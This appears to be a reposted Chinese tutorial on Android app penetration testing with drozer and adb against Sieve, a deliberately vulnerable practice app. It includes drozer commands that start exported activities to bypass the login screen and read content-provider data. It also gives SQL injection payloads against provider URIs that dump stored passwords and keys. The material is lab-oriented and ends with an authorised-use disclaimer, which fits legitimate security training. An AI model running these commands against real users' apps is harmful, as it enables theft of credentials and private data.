爱住了 | APP渗透测试漏洞实战教程

0x00 文章前言

app测试一般有三步(个人理解):

  1. 功能点测试 类似web

  2. adb调试 框架检测(本文所介绍内容)

  3. 反编译

安卓应用会用到四大组件,我们简单了解下:

**activity组件:**负责展示用户信息和结果处理

**service组件:**后台计算,获取下载结果

**content provider组件:**用于获取应用数据等相关信息

**broadcast receiver组件:**用于获取广播信息

公众号回复:APP实战,获取本文工具

爱住了 | APP渗透测试漏洞实战教程_第1张图片

0x01 所需环境

**夜神模拟器:**https://www.yeshen.com/

adb安卓调试器: http://adbdownload.com/

**下载adb之后,将其安装根目录路径路径添加到环境变量 就可以使用adb命令。**

Python2.7JAVA1.8

**drozer环境 :**https://labs.mwrinfosecurity.com/tools/drozer/

**drozer-agent-2.3.4.apk:**安装至模拟器

爱住了 | APP渗透测试漏洞实战教程_第2张图片

爱住了 | APP渗透测试漏洞实战教程_第3张图片

**如下路径需添加到系统中的环境变量:**

爱住了 | APP渗透测试漏洞实战教程_第4张图片

**下图路径下的四个模块文件夹,复制到python2.7对应目录下,Python安装目录可找到相同路径:**

爱住了 | APP渗透测试漏洞实战教程_第5张图片

**使用时可能会遇到一些模块未安装,但是安装时又提示pip中找不到,可以用其他版本替代:**
python2 -m pip install google``python2 -m pip install protobuf``python2 -m pip install OpenSSL

**Sieve:**一款用于APP漏洞测试的应用

0x02 存在问题

#获取安装包列表`  `run app.package.list

爱住了 | APP渗透测试漏洞实战教程_第6张图片

 如果中文乱码了,修改package.py源码,加入如下内容:
import sys``reload(sys)``sys.setdefaultencoding('utf-8')

爱住了 | APP渗透测试漏洞实战教程_第7张图片

往下划,找到如下内容,在前面加上u:

0x03 Sieve安装

拖动Sieve.apk进入模拟器,然后会自动安装:

爱住了 | APP渗透测试漏洞实战教程_第8张图片

打开后需要设置密码,且长度需要为16位长度,我们设置:1234567812345678

爱住了 | APP渗透测试漏洞实战教程_第9张图片

接下来需要设置一个PIN码,我们设置:1234

爱住了 | APP渗透测试漏洞实战教程_第10张图片

完成后,输入设置的16位密码进行登入,然后添加测试数据:

爱住了 | APP渗透测试漏洞实战教程_第11张图片

爱住了 | APP渗透测试漏洞实战教程_第12张图片

爱住了 | APP渗透测试漏洞实战教程_第13张图片

0x04 环境连接

模拟器开启drozer服务,打开后点击右下角按钮,文字显示为开启并显示运行服务时,即为成功开启服务:

爱住了 | APP渗透测试漏洞实战教程_第14张图片

爱住了 | APP渗透测试漏洞实战教程_第15张图片

打开CMD窗口,输入命令开始后续操作:
#查看端口及连接`  `adb devices

#连接模拟器`  `adb connect 127.0.0.1:62001``#本地端口转发至模拟器`  `adb forward tcp:31415 tcp:31415

爱住了 | APP渗透测试漏洞实战教程_第16张图片

#在确认drozer服务端开启的情况下,输入命令进行连接`    `drozer console connect`    `drozer console connect --server ip

爱住了 | APP渗透测试漏洞实战教程_第17张图片

如果第一次进入的时候报错,提示 java环境变量找不到的话,需要在当前用户下创建一个.drozer\_config文件:
[executables]``java=C:\Program Files\Java\jdk1.8.0_201\java.exe``javac=C:\Program Files\Java\jdk1.8.0_201\javac.exe
重新连接就可以了。

0x05 常用命令

|
常用测试命令

|

作用

|
| — | — |
|

基本语法

|

run 具体命令 [-参数]

|
|

run app.package.list

|

列出所有包名(软件)

|
|

run app.package.info -a 包名

|

查看某个软件(包名)的具体信息

|
|

run app.package.attacksurface 包名

|

查看某个软件的攻击面

|
|

run app.activity.info -a 包名

|

查看某个软件的 activity 组件的具体攻击面

|
|

run app.activity.start --component

|

包名 具体activity 启动某个 activity

|
|

run app.provider.info -a 包名

|

查看某个软件的 provider 组件的具体攻击面

|
|

run app.provider.finduri 包名

|

列出某个软件的 URI

|
|

run app.provider.query content://xxxxxURI

|

查看某个URI内容

|
|

run app.provider.query content://xxxxxURI --projection “'”

|

检测某个 URI 是否存在注入

|
|

run app.provider.query content://xxxxxURI --selection “'”

|

检测某个 URI 是否存在注入

|
|

run app.provider.query content://xxxxxURI --projection “* FROM SQLITE_MASTER WHERE type=‘table’;–”

|

针对某个 URI 进行注入

|
|

run app.provider.read content://xxxxxURI

|

通过某个 URI 读取文件

|
|

run app.provider.download content://xxxxxURI 主机目录/文件名

|

通过某个 URI 下载文件

|
|

run app.service.info -a 包名

|

查看某个软件的 service 组件的具体攻击面

|
|

run app.service.start --action 某个 action

|

启动某个 service

|
|

run app.broadcast.info -a 包名

|

查看某个软件的 broadcast 组件的具体攻击面

|
|

run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE

|

执行某个 broadcast 组件的 action,并传递参数

|
|

run scanner.provider.finduris -a 包名

|

寻找可访问 URI

|
|

run scanner.provider.traversal -a 包名

|

探测存在目录遍历的 URI

|
|

run scanner.provider.injection -a 包名

|

探测存在注入的 URI

|

0x06 测试开始

#获取安装包列表`  `run app.package.list

爱住了 | APP渗透测试漏洞实战教程_第18张图片

#获取安装包详细信息`  `run app.package.info -a 包名

爱住了 | APP渗透测试漏洞实战教程_第19张图片

#获取目标应用所使用的组件情况`  `run app.package.attacksurface 包名
下图可见其潜在被导出的且暴露在外的相关组件种类及数量:

爱住了 | APP渗透测试漏洞实战教程_第20张图片

#查看目标应用所使用的activity组件详细信息`  `run app.activity.info -a 包名
下图可见其三个组件权限均为:null,也就代表无需权限可对其进行操作:

爱住了 | APP渗透测试漏洞实战教程_第21张图片

#测试其某个activity组件`  `run app.activity.start --component 包名 activity组件名
下图可见绕过了登录验证,直接进入了页面:

爱住了 | APP渗透测试漏洞实战教程_第22张图片

#获取Content Providers组件信息`  `run app.provider.info -a 包名
如下图可见,所框选的两个Providers组件,无需权限即可进行操作,只有 com.mwr.example.sieve.DBContentProvider 的 /key 目录需要权限:

爱住了 | APP渗透测试漏洞实战教程_第23张图片

#列出所使用的URI,并检测是否存在可被获取数据的URI`  `run scanner.provider.finduris -a 包名
扫描结果可见,存在三条可被读取的URI:

爱住了 | APP渗透测试漏洞实战教程_第24张图片

#尝试对某URI进行数据读取`  `run app.provider.query URI路径
下图可见,成功读取到应用内的用户相关信息、应用密码等:

#探测应用中可能存在注入的URI`  `run scanner.provider.injection -a 包名
探测显示,如下URI中的Projection、Selection参数存在注入:

爱住了 | APP渗透测试漏洞实战教程_第25张图片

#指定URI与参数,并插入单引号验证是否存在注入`  `run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
下图可见,出现了报错,那八成是有注入了:

#尝试构造通用语句(安卓应用大多使用SQLite),列出所有的数据表`  `run app.provider.query URI --projection "* FROM SQLITE_MASTER WHERE type='table';--"

#指定某个表,对其内容通过注入进行数据获取  ``  run app.provider.query URI --projection "* from Key;--"

免责声明
文章****内容仅限授权测试或学习使用
请勿进行非法的测试或攻击
爱住了 | APP渗透测试漏洞实战教程_第26张图片

你可能感兴趣的:(web安全,网络安全,系统安全,php,安全,计算机网络,ddos)